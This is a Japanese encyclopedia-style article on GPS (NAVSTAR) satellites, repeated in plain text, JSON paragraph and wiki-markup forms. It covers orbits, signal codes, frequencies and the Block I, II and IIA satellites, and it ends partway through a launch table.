各衛星は、搭載したセシウムまたはルビジウムの高精度原子時計による時間情報と、約6日毎に更新される全衛星の概略精度の天体暦(軌道情報のこと)(概略暦、almanac とも言う)と、約90分毎に更新される衛星自身の天体暦を含むデータを18秒の信号に乗せて30秒周期で、1.2GHz/1.5GHz帯によって送信している。利用者はこの信号を受信することにより、複数の衛星からの情報を元に高度な演算によって、受信地点の正確な三次元位置が得られる。
1993年12月8日に、Block I と、Block II/IIA で24機が揃ったため、Initial Operational Capability (IOC) が整い、初期サービス運用が開始された。1995年4月27日には、Block II/IIA のみで24機が揃ったため Full Operational Capability (FOC) を達成し、正式なサービス運用が開始された 。
各衛星は、高度20,200km、軌道傾斜角55度、周期12時間の準同期軌道上にあり、各衛星は昇交点経度が60度おきとなる、6種類の軌道面(PLANE A-F)毎に4個が配置され、合計24基で基本となる衛星コンステレーションを形成する。
2009年12月現在の運用数は31基であり、衛星が増えることで測定精度が向上する。7基は、基本となる衛星コンステレーション以外の軌道上にあり、これにより仮に複数の衛星が故障しても、運用に支障がない信頼性と有用性と冗長性を確保している。これらの軌道配置によって、遮蔽されない限り地上のどこからでも6以上の衛星が同時に視界に入る。
各衛星は荒い精度の C/Aコード (Coarse/Acquisition code) と高精度のPコード (Precise code) の少なくとも2種類の信号を、直接拡散スペクトラム・コードによって送信している。
C/Aコードは1023チップの擬似乱数コードを使い、毎秒102.3万チップの速度で送信しているため、1000分の1秒ごとに乱数は一順する。それぞれの衛星はC/Aコードに固有の拡散符号を使っているので、同じ周波数で同時に送信しても受信時に分離する事が可能になっている。
Pコードは毎秒1,023万チップの擬似乱数コードを使い、毎週繰り返されている。通常の運用状態ではPコードはYコードによって暗号化されてP(Y)コードを作り、有効な暗号解読鍵を持つ解読機だけが解読できるようになる。C/AコードとP(Y)コードは、利用者に正確な時刻を伝える。
Mコードは軍用のコードで、GPS信号に対する高強度のジャミング下でも運用を可能にする。
GPSの使用周波数は、以下の通りである。
1978年にナブスター1が打上げられてから10機のブロックIの衛星が成功裏に打上げられた。しかし1981年12月18日に打上げられたナブスター7は失敗に終わり失われた。
ブロックI衛星はその後に打上げられたブロックII衛星と似たような軌道面をとるが軌道傾斜角は63度である。ブロックIはGPSの概念を検証するための衛星でありシステム開発の各段階を反映したものである。11機の衛星の打上げから学んだ教訓は次の世代の衛星の開発に生かされた。
ブロックI衛星はロックウェル・インターナショナルが製造した。1974年にロックウェル・インターナショナルは8機のブロックI衛星を製造する契約を与えられた。1978年に追加で3機の衛星の製造の契約を結んだ。
衛星は3軸制御方式である。2枚の太陽電池板は設計寿命時点で400ワット以上を供給しニッケル・カドミウム蓄電池に充電される。Sバンドは管制とテレメトリーのために使われる(衛星地上リンクシステム)。UHFチャンネルは宇宙船と地上の間のクロスリンクに使われる。ヒドラジンスラスターは軌道修正に使われる。リアクションホイールを用い機体低部を地球中心方向に向けさせる。ナビゲーションに使われる信号はLバンドの1575.42MHz(L1)と1227.60 MHz(L2)の2つである。
ブロックIIシリーズの最初の衛星は1989年2月14日に打上げられた。ブロックII衛星はGPS衛星の第2世代の衛星である。最初の本格的に運用されたGPS衛星である。地上指令センターの制御信号を受けることなく2週間システムが運用できるように設計されている。ロックウェル・インターナショナル社は、ブロックI衛星を製造する契約を1981年に改定しブロックIIのSVNナンバー12の衛星を1機製造する契約をむすんだ。改めて1983年にロックウェル社はブロックII/ブロックIIA衛星両シリーズを合計29機製造する契約をした。
衛星はブロックIシリーズと同様に3軸制御方式である。リアクションホイールを用い機体低部を地球中心方向に向けさせる。太陽電池板も同様に2枚のパドル式であり、供給電力は設計寿命時点で710ワット以上に拡大されている。Sバンドは管制とテレメトリーのために使われる(衛星地上リンクシステム)。UHFチャンネルは他の宇宙船と地上の間のクロスリンクに使われる。ヒドラジンスラスターは軌道修正に使われる。ナビゲーションに使われる信号はLバンドの1575.42MHz(L1)と1227.60 MHz(L2)の2つである。
衛星には、ルビジウム及びセシウム原子時計がそれぞれ2基ずつ搭載されている。
既に全機運用を終了し、新衛星へと置き換えられた。
ブロックIIを基本とし180日間コントロールセグメントと連絡せず運用が可能(ブロックIIは14日間)となっている。1990年11月26日より1997年11月6日までに19機が打ち上げられた。1996年にロックウェル・インターナショナル社の宇宙・防衛部門はボーイング社に売却された。
SVN23の衛星にだけ「ラザロ」というニックネームが付いているが、これは2007年4月に命名されたもので、初期から付いていたわけではない。ニックネームの由来は、一度は機能停止していたのが復活したことから、死後4日目に生き返ったキリスト教の聖人ラザロにちなんで命名されている。
老朽化した初期の衛星の代替のため1989年にジェネラル・エレクトリック・アストロスペース社(後の事業売却のためロッキード・マーティン社となる)との間で契約が結ばれた。当初は21機のIIR衛星を製作・打ち上げの予定であったが後期の8機は後継のIIRM衛星へ変更された。
衛星本体はロッキード・マーティン社のAS-4000型衛星をベースとしたもので、この衛星よりRb原子時計を3つ搭載(従来はCsとRb原子時計各2つを搭載)に変更されている。
打ち上げは1997年1月17日にIIR-1がデルタIIでロケットで打ち上げられたが、打ち上げ12秒後にロケットの爆発と共に失われた。同年6月23日IIR-2がデルタIIで打ち上げられ、以降2004年11月6日迄に合わせて12機が打ち上げられた。
IIR衛星にL1及びL2周波数上のMコードを乗せた軍用信号とL2周波数上のL2C民用信号(L2より高強度)を発信するように改良を加えたもので2005年9月26日よりデルタIIにより合計8機打ち上げられた。Mコードは軍用で敵対的なGPS信号へのジャミング対策がされている。
ボーイング社による第2世代4番目のGPS衛星として開発された。更なる衛星の長寿命化と多ユーザーへの対応のためのプロセッサーの高速化及び記憶容量の強化が図られている。3つ目の民用信号L5周波数の提供に対応している。
2010年5月28日に初号の衛星がデルタIVM+(4,2)により打ち上げられ,2010年8月27日に一般向け稼働を開始した。以降デルタIVM+(4,2)とアトラスVにより合わせて12機打ち上げられる予定。
詳細は「グローバル・ポジショニング・システム ブロックIII」を参照
次世代のGPS衛星で2008年5月米空軍とロッキード・マーティン社の間に開発契約が結ばれた。同社のA2100衛星バスをベースとして開発、最初の衛星はIIIAシリーズで8機製造され1号機は2014年に打上げを予定していたが、予算削減により2016年へ延期された。以降、IIIBを8機、IIICが16機の合計32機予定されている。
新しい4つ目のL1周波数上のL1C民用信号が利用できるようになる見込みであり、並行して軍用Mコードも改良される。L1C信号はヨーロッパのガリレオシステムの民用E1信号や日本の準天頂衛星システムと互換性を持つ予定。 | [
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"text": "GPS衛星(ジーピーエスえいせい、英語: GPS satellite)とは、グローバル・ポジショニング・システム(英語: Global positioning system, GPS)で用いられる人工衛星である。正式名称は「ナブスター (英語: NAVSTAR: Navigation Satellites with Time And Ranging) 衛星」である。このシステムの最初の衛星ナブスター1は、1978年2月22日に打上げられた。",
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"text": "各衛星は、搭載したセシウムまたはルビジウムの高精度原子時計による時間情報と、約6日毎に更新される全衛星の概略精度の天体暦(軌道情報のこと)(概略暦、almanac とも言う)と、約90分毎に更新される衛星自身の天体暦を含むデータを18秒の信号に乗せて30秒周期で、1.2GHz/1.5GHz帯によって送信している。利用者はこの信号を受信することにより、複数の衛星からの情報を元に高度な演算によって、受信地点の正確な三次元位置が得られる。",
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"text": "1993年12月8日に、Block I と、Block II/IIA で24機が揃ったため、Initial Operational Capability (IOC) が整い、初期サービス運用が開始された。1995年4月27日には、Block II/IIA のみで24機が揃ったため Full Operational Capability (FOC) を達成し、正式なサービス運用が開始された 。",
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"text": "各衛星は、高度20,200km、軌道傾斜角55度、周期12時間の準同期軌道上にあり、各衛星は昇交点経度が60度おきとなる、6種類の軌道面(PLANE A-F)毎に4個が配置され、合計24基で基本となる衛星コンステレーションを形成する。",
"title": "衛星軌道"
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"text": "2009年12月現在の運用数は31基であり、衛星が増えることで測定精度が向上する。7基は、基本となる衛星コンステレーション以外の軌道上にあり、これにより仮に複数の衛星が故障しても、運用に支障がない信頼性と有用性と冗長性を確保している。これらの軌道配置によって、遮蔽されない限り地上のどこからでも6以上の衛星が同時に視界に入る。",
"title": "衛星軌道"
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"text": "各衛星は荒い精度の C/Aコード (Coarse/Acquisition code) と高精度のPコード (Precise code) の少なくとも2種類の信号を、直接拡散スペクトラム・コードによって送信している。",
"title": "送信信号"
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"text": "C/Aコードは1023チップの擬似乱数コードを使い、毎秒102.3万チップの速度で送信しているため、1000分の1秒ごとに乱数は一順する。それぞれの衛星はC/Aコードに固有の拡散符号を使っているので、同じ周波数で同時に送信しても受信時に分離する事が可能になっている。",
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"text": "Pコードは毎秒1,023万チップの擬似乱数コードを使い、毎週繰り返されている。通常の運用状態ではPコードはYコードによって暗号化されてP(Y)コードを作り、有効な暗号解読鍵を持つ解読機だけが解読できるようになる。C/AコードとP(Y)コードは、利用者に正確な時刻を伝える。",
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"text": "Mコードは軍用のコードで、GPS信号に対する高強度のジャミング下でも運用を可能にする。",
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"text": "1978年にナブスター1が打上げられてから10機のブロックIの衛星が成功裏に打上げられた。しかし1981年12月18日に打上げられたナブスター7は失敗に終わり失われた。",
"title": "打上げ済みの衛星"
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"text": "ブロックI衛星はその後に打上げられたブロックII衛星と似たような軌道面をとるが軌道傾斜角は63度である。ブロックIはGPSの概念を検証するための衛星でありシステム開発の各段階を反映したものである。11機の衛星の打上げから学んだ教訓は次の世代の衛星の開発に生かされた。",
"title": "打上げ済みの衛星"
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"text": "ブロックI衛星はロックウェル・インターナショナルが製造した。1974年にロックウェル・インターナショナルは8機のブロックI衛星を製造する契約を与えられた。1978年に追加で3機の衛星の製造の契約を結んだ。",
"title": "打上げ済みの衛星"
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"text": "衛星は3軸制御方式である。2枚の太陽電池板は設計寿命時点で400ワット以上を供給しニッケル・カドミウム蓄電池に充電される。Sバンドは管制とテレメトリーのために使われる(衛星地上リンクシステム)。UHFチャンネルは宇宙船と地上の間のクロスリンクに使われる。ヒドラジンスラスターは軌道修正に使われる。リアクションホイールを用い機体低部を地球中心方向に向けさせる。ナビゲーションに使われる信号はLバンドの1575.42MHz(L1)と1227.60 MHz(L2)の2つである。",
"title": "打上げ済みの衛星"
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"text": "ブロックIIシリーズの最初の衛星は1989年2月14日に打上げられた。ブロックII衛星はGPS衛星の第2世代の衛星である。最初の本格的に運用されたGPS衛星である。地上指令センターの制御信号を受けることなく2週間システムが運用できるように設計されている。ロックウェル・インターナショナル社は、ブロックI衛星を製造する契約を1981年に改定しブロックIIのSVNナンバー12の衛星を1機製造する契約をむすんだ。改めて1983年にロックウェル社はブロックII/ブロックIIA衛星両シリーズを合計29機製造する契約をした。",
"title": "打上げ済みの衛星"
},
{
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"text": "衛星はブロックIシリーズと同様に3軸制御方式である。リアクションホイールを用い機体低部を地球中心方向に向けさせる。太陽電池板も同様に2枚のパドル式であり、供給電力は設計寿命時点で710ワット以上に拡大されている。Sバンドは管制とテレメトリーのために使われる(衛星地上リンクシステム)。UHFチャンネルは他の宇宙船と地上の間のクロスリンクに使われる。ヒドラジンスラスターは軌道修正に使われる。ナビゲーションに使われる信号はLバンドの1575.42MHz(L1)と1227.60 MHz(L2)の2つである。",
"title": "打上げ済みの衛星"
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"text": "衛星には、ルビジウム及びセシウム原子時計がそれぞれ2基ずつ搭載されている。",
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"text": "既に全機運用を終了し、新衛星へと置き換えられた。",
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"text": "ブロックIIを基本とし180日間コントロールセグメントと連絡せず運用が可能(ブロックIIは14日間)となっている。1990年11月26日より1997年11月6日までに19機が打ち上げられた。1996年にロックウェル・インターナショナル社の宇宙・防衛部門はボーイング社に売却された。",
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"text": "SVN23の衛星にだけ「ラザロ」というニックネームが付いているが、これは2007年4月に命名されたもので、初期から付いていたわけではない。ニックネームの由来は、一度は機能停止していたのが復活したことから、死後4日目に生き返ったキリスト教の聖人ラザロにちなんで命名されている。",
"title": "打上げ済みの衛星"
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"text": "老朽化した初期の衛星の代替のため1989年にジェネラル・エレクトリック・アストロスペース社(後の事業売却のためロッキード・マーティン社となる)との間で契約が結ばれた。当初は21機のIIR衛星を製作・打ち上げの予定であったが後期の8機は後継のIIRM衛星へ変更された。",
"title": "打上げ済みの衛星"
},
{
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"text": "衛星本体はロッキード・マーティン社のAS-4000型衛星をベースとしたもので、この衛星よりRb原子時計を3つ搭載(従来はCsとRb原子時計各2つを搭載)に変更されている。",
"title": "打上げ済みの衛星"
},
{
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"text": "打ち上げは1997年1月17日にIIR-1がデルタIIでロケットで打ち上げられたが、打ち上げ12秒後にロケットの爆発と共に失われた。同年6月23日IIR-2がデルタIIで打ち上げられ、以降2004年11月6日迄に合わせて12機が打ち上げられた。",
"title": "打上げ済みの衛星"
},
{
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"text": "IIR衛星にL1及びL2周波数上のMコードを乗せた軍用信号とL2周波数上のL2C民用信号(L2より高強度)を発信するように改良を加えたもので2005年9月26日よりデルタIIにより合計8機打ち上げられた。Mコードは軍用で敵対的なGPS信号へのジャミング対策がされている。",
"title": "打上げ済みの衛星"
},
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"text": "ボーイング社による第2世代4番目のGPS衛星として開発された。更なる衛星の長寿命化と多ユーザーへの対応のためのプロセッサーの高速化及び記憶容量の強化が図られている。3つ目の民用信号L5周波数の提供に対応している。",
"title": "打上げ済みの衛星"
},
{
"paragraph_id": 26,
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"text": "2010年5月28日に初号の衛星がデルタIVM+(4,2)により打ち上げられ,2010年8月27日に一般向け稼働を開始した。以降デルタIVM+(4,2)とアトラスVにより合わせて12機打ち上げられる予定。",
"title": "打上げ済みの衛星"
},
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"text": "詳細は「グローバル・ポジショニング・システム ブロックIII」を参照",
"title": "計画中の衛星"
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"text": "次世代のGPS衛星で2008年5月米空軍とロッキード・マーティン社の間に開発契約が結ばれた。同社のA2100衛星バスをベースとして開発、最初の衛星はIIIAシリーズで8機製造され1号機は2014年に打上げを予定していたが、予算削減により2016年へ延期された。以降、IIIBを8機、IIICが16機の合計32機予定されている。",
"title": "計画中の衛星"
},
{
"paragraph_id": 29,
"tag": "p",
"text": "新しい4つ目のL1周波数上のL1C民用信号が利用できるようになる見込みであり、並行して軍用Mコードも改良される。L1C信号はヨーロッパのガリレオシステムの民用E1信号や日本の準天頂衛星システムと互換性を持つ予定。",
"title": "計画中の衛星"
}
]
| GPS衛星とは、グローバル・ポジショニング・システムで用いられる人工衛星である。正式名称は「ナブスター 衛星」である。このシステムの最初の衛星ナブスター1は、1978年2月22日に打上げられた。 GPS衛星コンステレーションは、アメリカ空軍第50宇宙航空団で運用されている。 | [[ファイル:Global Positioning System satellite.jpg|thumb|300px|GPS衛星]]
'''GPS衛星'''(ジーピーエスえいせい、{{lang-en|GPS satellite}})とは、[[グローバル・ポジショニング・システム]]({{lang-en|Global positioning system, '''GPS'''}})で用いられる[[人工衛星]]である。正式名称は「ナブスター ({{lang-en|'''NAVSTAR''': '''Nav'''igation '''S'''atellites with '''T'''ime '''A'''nd '''R'''anging}}) 衛星」である。このシステムの最初の衛星ナブスター1は、1978年2月22日に打上げられた。
GPS[[衛星コンステレーション]]は、[[アメリカ空軍]][[第50宇宙航空団 (アメリカ軍)|第50宇宙航空団]]で運用されている。
== 概要 ==
各衛星は、搭載した[[セシウム]]または[[ルビジウム]]の高精度[[原子時計]]による時間情報と、約6日毎に更新される全衛星の概略精度の[[天体暦]](軌道情報のこと)(概略暦、{{en|almanac}} とも言う)と、約90分毎に更新される衛星自身の[[天体暦]]<!--詳細な軌道情報([[天体暦]]データ)-->を含むデータを18秒の信号に乗せて30秒周期で、1.2[[ギガヘルツ|GHz]]/1.5GHz帯によって送信している。利用者はこの信号を受信することにより、複数の衛星からの情報を元に高度な演算によって、受信地点の正確な三次元位置が得られる。
1993年12月8日に、{{en|Block I}} と、{{en|Block II/IIA}} で24機が揃ったため、{{en|Initial Operational Capability (IOC)}} が整い、初期サービス運用が開始された。1995年4月27日には、{{en|Block II/IIA}} のみで24機が揃ったため {{en|Full Operational Capability (FOC)}} を達成し、正式なサービス運用が開始された
<ref>{{cite news
| title = 20th Anniversary of Initial Operational Capability of the GPS Constellation
| url = http://www.afspc.af.mil/news1/story.asp?id=123376652
| publisher = アメリカ空軍
| date = 2014-01-14
| accessdate = 2014-02-02
}}</ref>。
== 衛星軌道 ==
各衛星は、高度20,200km、軌道傾斜角55度、周期12時間の[[準同期軌道]]上にあり、各衛星は昇交点経度が60度おきとなる、6種類の軌道面({{en|PLANE A-F}})毎に4個が配置され、合計24基で基本となる[[衛星コンステレーション]]を形成する。
2009年12月現在の運用数は31基であり、衛星が増えることで測定精度が向上する。7基は、基本となる衛星コンステレーション以外の軌道上にあり、これにより仮に複数の衛星が故障しても、運用に支障がない信頼性と有用性と[[冗長性]]を確保している。これらの軌道配置によって、遮蔽されない限り地上のどこからでも6以上の衛星が同時に視界に入る。
== 送信信号 ==
各衛星は荒い精度の {{en|C/A}}コード ({{en|Coarse/Acquisition code}}) と高精度のPコード ({{en|Precise code}}) の少なくとも2種類の信号を、[[スペクトラム拡散#直接拡散|直接拡散]]スペクトラム・コードによって送信している。
C/Aコードは1023チップの[[擬似乱数]]コードを使い、毎秒102.3万チップの速度で送信しているため、1000分の1秒ごとに乱数は一順する。それぞれの衛星はC/Aコードに固有の拡散符号を使っているので、同じ周波数で同時に送信しても受信時に分離する事が可能になっている。
Pコードは毎秒1,023万チップの擬似乱数コードを使い、毎週繰り返されている。通常の運用状態ではPコードはYコードによって[[暗号]]化されてP(Y)コードを作り、有効な[[暗号解読]][[鍵 (暗号)|鍵]]を持つ解読機だけが解読できるようになる。C/AコードとP(Y)コードは、利用者に正確な時刻を伝える。
Mコードは軍用のコードで、GPS信号に対する高強度の[[ジャミング]]下でも運用を可能にする。
GPSの使用周波数は、以下の通りである。
* L1 (1575.42MHz): ナビゲーション・メッセージ、C/Aコード、P(Y)コードを送信している。1つ目の民用信号。ブロック2R-MよりMコードを乗せた軍用信号をL1周波数上で送信している。新しいブロック3衛星からL1C(L1より高強度)民用信号を混合して送信することが計画されている。
* L2 (1227.60MHz):P (Y) コードを送信している。ブロック2R-M衛星より2つ目の民用信号L2C(L2より高強度)を混合して送信している。L2に対してもMコードを乗せて軍用に送信している。
* L3 (1381.05MHz):核爆発探知システム (Nuclear Detonation Detection System, NDS) が使用する。
* L4 (1379.913MHz):[[電離圏]]層の情報を収集して研究に使用中。
* L5 (1176.45MHz):2009年に打ち上げられたGPS衛星2R-20Mより試験が開始された。本格的な運用は2010年以降のブロック2F衛星の打ち上げ以降となる。L1/L2に比べて10倍のバンド幅で3[[デシベル|dB]](2倍)の尖頭電波強度を持ち、10倍の長さの拡散コードを使い、信号体系も向上させた民用の3つ目の信号。より高精度の位置測定が可能になる。また人命救助等にも活用される他、航空関係者もこれによって、L2よりL5で[[通信妨害]]や[[混信]]に対して効果的に対応できる。
== 打上げ済みの衛星 ==
=== ブロックIシリーズ ===
1978年にナブスター1が打上げられてから10機のブロックIの衛星が成功裏に打上げられた。しかし1981年12月18日に打上げられたナブスター7は失敗に終わり失われた。
ブロックI衛星はその後に打上げられたブロックII衛星と似たような軌道面をとるが[[軌道傾斜角]]は63度である。ブロックIはGPSの概念を検証するための衛星でありシステム開発の各段階を反映したものである。11機の衛星の打上げから学んだ教訓は次の世代の衛星の開発に生かされた。
ブロックI衛星は[[ロックウェル・インターナショナル]]が製造した。1974年にロックウェル・インターナショナルは8機のブロックI衛星を製造する契約を与えられた。1978年に追加で3機の衛星の製造の契約を結んだ。
衛星は3軸制御方式である。2枚の[[太陽電池]]板は設計寿命時点で400ワット以上を供給し[[ニッケル・カドミウム蓄電池]]に充電される。[[マイクロ波|Sバンド]]は管制とテレメトリーのために使われる(衛星地上リンクシステム)。[[極超短波|UHF]]チャンネルは宇宙船と地上の間のクロスリンクに使われる。[[ヒドラジン]]スラスターは軌道修正に使われる。[[姿勢制御#モーメンタムホイール|リアクションホイール]]を用い機体低部を地球中心方向に向けさせる。ナビゲーションに使われる信号は[[マイクロ波|Lバンド]]の1575.42MHz(L1)と1227.60 MHz(L2)の2つである。
;諸元
* 製造者:ロックウェル・インターナショナル社
* 姿勢制御方式:3軸制御
* 太陽電池:パドル型×2枚
* キックモーター:Star-27
* 設計寿命:5年
* 重量:759kg
* 軌道:高度20200km円軌道,軌道傾斜角63度
{| class="wikitable" style="margin: 1em 1em 1em 0"
|----- bgcolor="#FFDEAD"
! style="width:6em" | 打上げ日<br />(UTC)
! style="width:5em" | 打上げ<br />ロケット
! style="width:5em" | ロケットの<br/>タイプ
! ロケットの<br />シリアルナンバー
! 射場
! 衛星名
! 宇宙機<br />ナンバー<br />(SVN)
! 疑似雑音<br />系列 ID<br />(PRN)
! 結果
! 備考
|-
| 1978-02-22
| rowspan="7"|[[アトラス (ロケット)#アトラス|アトラスF]]
| rowspan="7"|SGS-1
|
| rowspan="7"|[[ヴァンデンバーグ空軍基地|VAFB]] SLC-3E
| GPS 1-1 [http://nssdc.gsfc.nasa.gov/nmc/spacecraftDisplay.do?id=1978-020A ナブスター1]
| 01
|
| 成功
| 最初のGPS衛星の打上げ
|-
| 1978-05-13
|
| GPS 1-2 [http://nssdc.gsfc.nasa.gov/nmc/spacecraftDisplay.do?id=1978-047A ナブスター2]
| 02
|
| 成功
|
|-
| 1978-10-07
|
| GPS 1-3 [http://nssdc.gsfc.nasa.gov/nmc/spacecraftDisplay.do?id=1978-093A ナブスター3]
| 03
|
| 成功
|
|-
| 1978-12-11
|
| GPS 1-4 [http://nssdc.gsfc.nasa.gov/nmc/spacecraftDisplay.do?id=1978-112A ナブスター4]
| 04
|
| 成功
|
|-
| 1980-02-09
|
| GPS 1-5 [http://nssdc.gsfc.nasa.gov/nmc/spacecraftDisplay.do?id=1980-011A ナブスター5]
| 05
|
| 成功
|
|-
| 1980-04-26
|
| GPS 1-6 [http://nssdc.gsfc.nasa.gov/nmc/spacecraftDisplay.do?id=1980-032A ナブスター6]
| 06
|
| 成功
|
|-
| 1981-12-18
|
| GPS 1-7 ナブスター7
| 07
|
| '''失敗'''
|
|-
| 1983-07-14
| rowspan="4"|[[アトラス (ロケット)#アトラス|アトラスE]]
| rowspan="4"|SGS-2
|
| rowspan="4"|VAFB SLC-3W
| GPS 1-8 [http://nssdc.gsfc.nasa.gov/nmc/spacecraftDisplay.do?id=1983-072A ナブスター8]
| 08
|
| 成功
|
|-
| 1984-06-13
|
| GPS 1-9 [http://nssdc.gsfc.nasa.gov/nmc/spacecraftDisplay.do?id=1984-059A ナブスター9]
| 09
|
| 成功
|
|-
| 1984-09-08
|
| GPS 1-10 [http://nssdc.gsfc.nasa.gov/nmc/spacecraftDisplay.do?id=1984-097A ナブスター10]
| 10
|
| 成功
|
|-
| 1985-10-09
|
| GPS 1-11 [http://nssdc.gsfc.nasa.gov/nmc/spacecraftDisplay.do?id=1985-093A ナブスター11]
| 11
|
| 成功
|
|}
;ブロックIIシリーズ
ブロックIIシリーズの最初の衛星は1989年2月14日に打上げられた。ブロックII衛星はGPS衛星の第2世代の衛星である。最初の本格的に運用されたGPS衛星である。地上指令センターの制御信号を受けることなく2週間システムが運用できるように設計されている。ロックウェル・インターナショナル社は、ブロックI衛星を製造する契約を1981年に改定しブロックIIのSVNナンバー12の衛星を1機製造する契約をむすんだ。改めて1983年にロックウェル社はブロックII/ブロックIIA衛星両シリーズを合計29機製造する契約をした。
衛星はブロックIシリーズと同様に3軸制御方式である。[[姿勢制御#モーメンタムホイール|リアクションホイール]]を用い機体低部を地球中心方向に向けさせる。[[太陽電池]]板も同様に2枚のパドル式であり、供給電力は設計寿命時点で710ワット以上に拡大されている。[[マイクロ波|Sバンド]]は管制とテレメトリーのために使われる(衛星地上リンクシステム)。UHFチャンネルは他の宇宙船と地上の間のクロスリンクに使われる。[[ヒドラジン]]スラスターは軌道修正に使われる。ナビゲーションに使われる信号は[[マイクロ波|Lバンド]]の1575.42MHz(L1)と1227.60 MHz(L2)の2つである。
衛星には、ルビジウム及びセシウム[[原子時計]]がそれぞれ2基ずつ搭載されている。
;諸元
* 製造者:ロックウェル・インターナショナル社
* 姿勢制御方式:3軸制御
* 太陽電池:パドル型×2枚
* キックモーター:Star-37XFP
* 設計寿命:7.5年
* 重量:1660kg
* 軌道:高度20200km円軌道,軌道傾斜角55度
{| class="wikitable" style="margin: 1em 1em 1em 0"
|----- bgcolor="#FFDEAD"
! style="width:6em" | 打上げ日<br />(UTC)
! style="width:5em" | 打上げ<br />ロケット
! style="width:5em" | ロケットの<br />タイプ
! ロケットの<br />シリアルナンバー
! 射場
! 衛星名
! 宇宙機<br />ナンバー<br />(SVN)
! 疑似雑音<br />系列 ID<br />(PRN)
! 結果
! 備考
|-
|
|
|
|
|
| ナブスターII
| 12
|
| '''打上げず'''
|
|-
| 1989-02-14
| rowspan="9"|[[デルタロケット#デルタII|デルタII]]
| rowspan="9"|6925
| 184
| rowspan="4"|[[ケープカナベラル空軍基地|CCAFS]] LC-17A
| GPS 2-1 [http://nssdc.gsfc.nasa.gov/nmc/spacecraftDisplay.do?id=1989-013A ナブスターII-1]
| 14
| 14
| 成功
| 最初のデルタIIの打上げ
|-
| 1989-06-10
| 185
| GPS 2-2 [http://nssdc.gsfc.nasa.gov/nmc/spacecraftDisplay.do?id=1989-044A ナブスターII-2]
| 13
| 02
| 成功
|
|-
| 1989-08-18
| 186
| GPS 2-3 [http://nssdc.gsfc.nasa.gov/nmc/spacecraftDisplay.do?id=1989-064A ナブスターII-3]
| 16
| 16
| 成功
|
|-
| 1989-10-21
| 188
| GPS 2-4 [http://nssdc.gsfc.nasa.gov/nmc/spacecraftDisplay.do?id=1989-085A ナブスターII-4]
| 19
| 19
| 成功
|
|-
| 1989-12-11
| 190
| CCAFS LC-17B
| GPS 2-5 [http://nssdc.gsfc.nasa.gov/nmc/spacecraftDisplay.do?id=1989-097A ナブスターII-5]
| 17
| 17
| 成功
|
|-
| 1990-01-24
| 191
| rowspan="4"|CCAFS LC-17A
| GPS 2-6 [http://nssdc.gsfc.nasa.gov/nmc/spacecraftDisplay.do?id=1990-008A ナブスターII-6]
| 18
| 18
| 成功
|
|-
| 1990-03-26
| 193
| GPS 2-7 [http://nssdc.gsfc.nasa.gov/nmc/spacecraftDisplay.do?id=1990-025A ナブスターII-7]
| 20
| 20
| 成功
|
|-
| 1990-08-02
| 197
| GPS 2-8 [http://nssdc.gsfc.nasa.gov/nmc/spacecraftDisplay.do?id=1990-068A ナブスターII-8]
| 21
| 21
| 成功
|
|-
| 1990-10-01
| 199
| GPS 2-9 [http://nssdc.gsfc.nasa.gov/nmc/spacecraftDisplay.do?id=1990-088A ナブスターII-9]
| 15
| 15
| 成功
|
|}
既に全機運用を終了し、新衛星へと置き換えられた。
=== ブロックIIAシリーズ ===
ブロックIIを基本とし180日間コントロールセグメントと連絡せず運用が可能(ブロックIIは14日間)となっている。1990年11月26日より1997年11月6日までに19機が打ち上げられた。1996年にロックウェル・インターナショナル社の宇宙・防衛部門はボーイング社に売却された。
;諸元
* 製造者:ロックウェル・インターナショナル社→ボーイング社
* 姿勢制御方式:3軸制御
* 太陽電池:パドル型×2枚
* キックモーター:Star-37XFP
* 設計寿命:7.5年
* 重量:1816kg
* 軌道:高度20200km円軌道,軌道傾斜角55度
{| class="wikitable" style="margin: 1em 1em 1em 0"
|----- bgcolor="#FFDEAD"
! style="width:6em" | 打上げ日<br />(UTC)
! style="width:5em" | 打上げ<br />ロケット
! style="width:5em" | ロケットの<br />タイプ
! ロケットの<br />シリアルナンバー
! 射場
! 衛星名
! 宇宙機<br />ナンバー<br />(SVN)
! 疑似雑音<br />系列 ID<br />(PRN)
! PLANE
! 結果
! 備考
|-
| 1990-11-26
| rowspan="19"|デルタII
| rowspan="19"|7925
| D201
| rowspan="2"|CCAFS LC-17A
| GPS 2-10 [http://nssdc.gsfc.nasa.gov/nmc/spacecraftDisplay.do?id=1990-103A ナブスターIIA-1]
| 23
| 23-<nowiki>></nowiki>32
| E5
| 成功
|
|-
| 1991-07-04
| D206
| GPS 2-11 [http://nssdc.gsfc.nasa.gov/nmc/spacecraftDisplay.do?id=1991-047A ナブスターIIA-2]
| 24
| 24
|
| 成功
| 運用終了
|-
| 1992-02-23
| D207
| rowspan="3"|CCAFS LC-17B
| GPS 2-12 [http://nssdc.gsfc.nasa.gov/nmc/spacecraftDisplay.do?id=1992-009A ナブスターIIA-3]
| 25
| 25
| A5
| 成功
| 運用終了
|-
| 1992-04-10
| D208
| GPS 2-13 [http://nssdc.gsfc.nasa.gov/nmc/spacecraftDisplay.do?id=1992-019A ナブスターIIA-4]
| 28
| 28
|
| 成功
| 運用終了
|-
| 1992-07-07
| D211
| GPS 2-14 [http://nssdc.gsfc.nasa.gov/nmc/spacecraftDisplay.do?id=1992-039A ナブスターIIA-5]
| 26
| 26
| F2F
| 成功
|
|-
| 1992-09-09
| D214
| rowspan="2"|CCAFS LC-17A
| GPS 2-15 [http://nssdc.gsfc.nasa.gov/nmc/spacecraftDisplay.do?id=1992-058A ナブスターIIA-6]
| 27
| 27
| A6
| 成功
| 運用終了
|-
| 1992-11-22
| D216
| GPS 2-16 [http://nssdc.gsfc.nasa.gov/nmc/spacecraftDisplay.do?id=1992-079A ナブスターIIA-7]
| 32
| 01
|
| 成功
| 運用終了
|-
| 1992-12-18
| D217
| CCAFS LC-17B
| GPS 2-17 [http://nssdc.gsfc.nasa.gov/nmc/spacecraftDisplay.do?id=1992-089A ナブスターIIA-8]
| 29
| 29
|
| 成功
| 運用終了
|-
| 1993-02-03
| D218
| rowspan="4"|CCAFS LC-17A
| GPS 2-18 [http://nssdc.gsfc.nasa.gov/nmc/spacecraftDisplay.do?id=1993-007A ナブスターIIA-9]
| 22
| 22
|
| 成功
| 運用終了
|-
| 1993-03-30
| D219
| GPS 2-19 [http://nssdc.gsfc.nasa.gov/nmc/spacecraftDisplay.do?id=1993-017A ナブスターIIA-10]
| 31
| 31
|
| 成功
| 運用終了
|-
| 1993-05-13
| D220
| GPS 2-20 [http://nssdc.gsfc.nasa.gov/nmc/spacecraftDisplay.do?id=1993-032A ナブスターIIA-11]
